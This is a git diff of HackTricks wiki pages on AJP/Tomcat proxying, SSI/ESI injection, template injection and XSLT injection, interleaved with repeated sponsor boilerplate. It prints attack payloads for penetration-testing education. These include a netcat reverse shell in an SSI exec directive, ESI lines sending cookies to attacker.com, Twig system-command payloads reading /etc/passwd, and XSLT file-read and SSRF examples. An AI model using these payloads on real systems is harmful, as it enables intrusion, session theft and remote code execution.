GitBook: [#3540] No subject
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@ -4,15 +4,11 @@
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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||||
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||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
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@ -41,11 +37,23 @@ Ghostcat is a LFI vulnerability, but somewhat restricted: only files from a cert
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Patched versions at or above 9.0.31, 8.5.51, and 7.0.100 have fixed this issue.
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## Apache AJP Proxy
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## Enumeration
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It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.
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### Automatic
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```bash
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nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
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```
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### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#ajp)
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## AJP Proxy
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### Apache AJP Proxy
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It’s not often that you encounter port 8009 open and no other web port open. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.
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```bash
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sudo apt-get install libapache2-mod-jk
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sudo vim /etc/apache2/apache2.conf # append the following line to the config
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Include ajp.conf
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@ -65,7 +73,7 @@ sudo systemctl restart apache2
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A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this. Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:
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```
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```bash
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msf exploit(tomcat_mgr_deploy) > show options
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Module options (exploit/multi/http/tomcat_mgr_deploy):
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@ -81,26 +89,94 @@ Module options (exploit/multi/http/tomcat_mgr_deploy):
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VHOST no HTTP server virtual host
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```
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### Enumeration
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### Nginx Reverse Proxy & AJP
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When we come across an open AJP proxy port (8009 TCP), we can use Nginx with the `ajp_module` to access the "hidden" Tomcat Manager. This can be done by compiling the Nginx source code and adding the required module, as follows:
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* Download the Nginx source code
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* Download the required module
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* Compile Nginx source code with the `ajp_module`.
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* Create a configuration file pointing to the AJP Port
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```bash
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nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
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# Download Nginx code
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wget https://nginx.org/download/nginx-1.21.3.tar.gz
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tar -xzvf nginx-1.21.3.tar.gz
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# Compile Nginx source code with the ajp module
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git clone https://github.com/dvershinin/nginx_ajp_module.git
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cd nginx-1.21.3
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sudo apt install libpcre3-dev
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./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
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make
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sudo make install
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nginx -V
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```
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### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#ajp)
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Comment out the entire `server` block and append the following lines inside the `http` block in `/etc/nginx/conf/nginx.conf`.
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```shell-session
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upstream tomcats {
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server <TARGET_SERVER>:8009;
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keepalive 10;
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}
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server {
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listen 80;
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location / {
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ajp_keep_conn on;
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ajp_pass tomcats;
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}
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}
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```
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Start Nginx and check if everything is working correctly by issuing a cURL request to your local host.
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```html
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sudo nginx
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curl http://127.0.0.1:80
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<!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="UTF-8" />
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<title>Apache Tomcat/X.X.XX</title>
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<link href="favicon.ico" rel="icon" type="image/x-icon" />
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<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
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<link href="tomcat.css" rel="stylesheet" type="text/css" />
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</headas
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<body>
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<div id="wrapper">
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<div id="navigation" class="curved container">
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<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
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<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
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<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
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<span id="nav-examples"><a href="/examples/">Examples</a></span>
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<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
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<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
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<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
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<br class="separator" />
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</div>
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<div id="asf-box">
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<h1>Apache Tomcat/X.X.XX</h1>
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</div>
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<div id="upper" class="curved container">
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<div id="congrats" class="curved container">
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<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
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<SNIP>
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```
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## References
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* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
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<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
|
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@ -1,23 +1,18 @@
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# Server Side Inclusion/Edge Side Inclusion Injection
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||||
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||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
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# Server Side Inclusion Basic Information
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## Server Side Inclusion Basic Information
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SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
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For example, you might place a directive into an existing HTML page, such as:
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@ -30,7 +25,7 @@ And, when the page is served, this fragment will be evaluated and replaced with
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The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. (Definition taken from [here](https://httpd.apache.org/docs/current/howto/ssi.html)).
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You can infer the presence of SSI if the web application uses files with the extensions .shtml, .shtm or .stm, but it's not only the case.
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You can infer the presence of SSI if the web application uses files with the extensions ** `.shtml`, `.shtm` or `.stm`**, but it's not only the case.
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A typical SSI expression has the following format:
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@ -38,39 +33,92 @@ A typical SSI expression has the following format:
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<!--#directive param="value" -->
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```
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## Check
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### Check
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```javascript
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// Document name
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<!--#echo var="DOCUMENT_NAME" -->
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// Date
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<!--#echo var="DATE_LOCAL" -->
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// File inclusion
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<!--#include virtual="/index.html" -->
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// Including files (same directory)
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<!--#include file="file_to_include.html" -->
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// CGI Program results
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<!--#include virtual="/cgi-bin/counter.pl" -->
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// Including virtual files (same directory)
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<!--#include virtual="file_to_include.html" -->
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// Modification date of a file
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<!--#flastmod file="index.html" -->
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// Command exec
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<!--#exec cmd="dir" -->
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// Command exec
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<!--#exec cmd="ls" -->
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// Reverse shell
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<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
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// Print all variables
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<!--#printenv -->
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// Setting variables
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<!--#set var="name" value="Rich" -->
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```
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<!--#echo var="DOCUMENT_NAME" --> #Document name
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<!--#echo var="DATE_LOCAL" --> #Date
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<!--#include virtual="/index.html" --> #File inclusion
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<!--#exec cmd="dir" --> #Command exec
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<!--#exec cmd="ls" --> #Command exec
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```
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# Edge Side Inclusion
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## Edge Side Inclusion
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There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\
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if an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users.
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## ESI Detection
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### ESI Detection
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The following header in a response from the server means that the server is using ESI:
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The following **header** in a response from the server means that the server is using ESI:
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```
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Surrogate-Control: content="ESI/1.0"
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```
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If you can't find this header, the server might be using ESI anyways.\
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A blind exploitation approach can also be used as a request should arrive to the attackers server:
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A **blind exploitation approach can also be used** as a request should arrive to the attackers server:
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```markup
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<esi:include src=http://attacker.com/>
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```javascript
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// Basic detection
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<esi: include src=http://attacker.com
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// XSS Exploitation Example
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<esi: include src=http://attacker.com/<XSSPAYLOAD.html>>
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// Cookie Stealer (bypass httpOnly flag)
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<esi: include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
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// Introduce private local files (Not LFI per se)
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<esi:include src="supersecret.txt">
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// Valid for Akamai, sends debug information in the response
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<esi:debug/>
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```
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## ESI exploitation
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### ESI exploitation
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### XSS
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[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) has created a table to help us understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported. Let us provide some explanations regarding the column names of the below table first:
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* **Includes**: Supports the `<esi:includes>` directive
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* **Vars**: Supports the `<esi:vars>` directive. Useful for bypassing XSS Filters
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* **Cookie**: Document cookies are accessible to the ESI engine
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* **Upstream Headers Required**: Surrogate applications will not process ESI statements unless the upstream application provides the headers
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* **Host Allowlist**: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts
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| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
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| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
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| Squid3 | Yes | Yes | Yes | Yes | No |
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| Varnish Cache | Yes | No | No | Yes | Yes |
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| Fastly | Yes | No | No | No | Yes |
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| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
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| NodeJS esi | Yes | Yes | Yes | No | No |
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| NodeJS nodesi | Yes | No | No | No | Optional |
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#### XSS
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The following ESI directive will load an arbitrary file inside the response of the server
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|
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@ -80,20 +128,20 @@ The following ESI directive will load an arbitrary file inside the response of t
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The file _http://attacker.com/xss.html_ may contain a XSS payload like `<script>alert(1)</script>`
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### Bypass client XSS protection
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#### Bypass client XSS protection
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```markup
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x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
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```
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### Steal Cookie
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#### Steal Cookie
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||||
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
|
||||
### Private Local File
|
||||
#### Private Local File
|
||||
|
||||
Do not confuse this with a "Local File Inclusion":
|
||||
|
||||
|
|
@ -101,13 +149,13 @@ Do not confuse this with a "Local File Inclusion":
|
|||
<esi:include src="secret.txt">
|
||||
```
|
||||
|
||||
### CRLF
|
||||
#### CRLF
|
||||
|
||||
```markup
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
|
||||
### Akamai debug
|
||||
#### Akamai debug
|
||||
|
||||
This will send debug information included in the response:
|
||||
|
||||
|
|
@ -115,9 +163,9 @@ This will send debug information included in the response:
|
|||
<esi:debug/>
|
||||
```
|
||||
|
||||
## ESI + XSLT = XXE
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
It is also possible to add ** **_**eXtensible Stylesheet Language Transformations (XSLT)**_** ** based ESI includes by specifying the `xslt` value to the _dca_ parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform _XML External Entity (XXE)_ attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files.
|
||||
It is also possible to add \*\* **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* based ESI includes by specifying the `xslt` value to the _dca_ parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform _XML External Entity (XXE)_ attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files.
|
||||
|
||||
```markup
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
|
|
@ -137,30 +185,24 @@ Check the XSLT page:
|
|||
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
### References
|
||||
|
||||
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
|
||||
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||||
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
||||
|
||||
# Brute-Force Detection List
|
||||
## Brute-Force Detection List
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -464,6 +464,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|
||||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
|
||||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
|
||||
{{['id']|filter('system')}}
|
||||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||
|
|
@ -661,10 +662,9 @@ Check out the following page to learn tricks about **arbitrary command execution
|
|||
{% raw %}
|
||||
{% import foobar %} = Error
|
||||
{% import os %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
{% import os %}
|
||||
{% endraw %}{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
|
||||
|
|
@ -819,7 +819,7 @@ Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/mast
|
|||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||||
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf" %}
|
||||
|
||||
## Related Help
|
||||
|
||||
|
|
|
|||
|
|
@ -1,22 +1,17 @@
|
|||
|
||||
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used).\
|
||||
The transformation can be done in the server or in the browser).
|
||||
|
||||
|
|
@ -24,11 +19,11 @@ The most used frameworks are: **Libxslt** (Gnome), **Xalan** (Apache) and **Saxo
|
|||
|
||||
In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||||
|
||||
# Example - Tutorial
|
||||
## Example - Tutorial
|
||||
|
||||
```markup
|
||||
```bash
|
||||
sudo apt-get install default-jdk
|
||||
sudo apt-get install libsaxonb-java
|
||||
sudo apt-get install libsaxonb-java libsaxon-java
|
||||
```
|
||||
|
||||
{% code title="xml.xml" %}
|
||||
|
|
@ -95,18 +90,33 @@ Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
|
|||
</html>
|
||||
```
|
||||
|
||||
## Fingerprint
|
||||
### Fingerprint
|
||||
|
||||
{% code title="detection.xsl" %}
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:output method="html"/>
|
||||
<xsl:template match="/">
|
||||
<h2>XSLT identification</h2>
|
||||
<b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
|
||||
<b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
|
||||
<b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
|
||||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||||
<xsl:if test="system-property('xsl:product-name')">
|
||||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||||
</xsl:if>
|
||||
<xsl:if test="system-property('xsl:product-version')">
|
||||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||||
</xsl:if>
|
||||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||||
</xsl:if>
|
||||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||||
/><br />
|
||||
</xsl:if>
|
||||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||||
/><br />
|
||||
</xsl:if>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
|
|
@ -122,7 +132,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
|
|||
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
|
||||
```
|
||||
|
||||
## Read Local File
|
||||
### Read Local File
|
||||
|
||||
{% code title="read.xsl" %}
|
||||
```markup
|
||||
|
|
@ -149,7 +159,7 @@ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
|||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
```
|
||||
|
||||
## SSRF
|
||||
### SSRF
|
||||
|
||||
```markup
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||||
|
|
@ -159,7 +169,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
## Versions
|
||||
### Versions
|
||||
|
||||
There might be more or less functions depending on the XSLT version used:
|
||||
|
||||
|
|
@ -167,7 +177,7 @@ There might be more or less functions depending on the XSLT version used:
|
|||
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||||
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||||
|
||||
# Fingerprint
|
||||
## Fingerprint
|
||||
|
||||
Upload this and take information
|
||||
|
||||
|
|
@ -199,14 +209,14 @@ Upload this and take information
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
# SSRF
|
||||
## SSRF
|
||||
|
||||
```markup
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||||
</esi:include>
|
||||
```
|
||||
|
||||
# Javascript Injection
|
||||
## Javascript Injection
|
||||
|
||||
```markup
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
|
|
@ -216,9 +226,9 @@ Upload this and take information
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
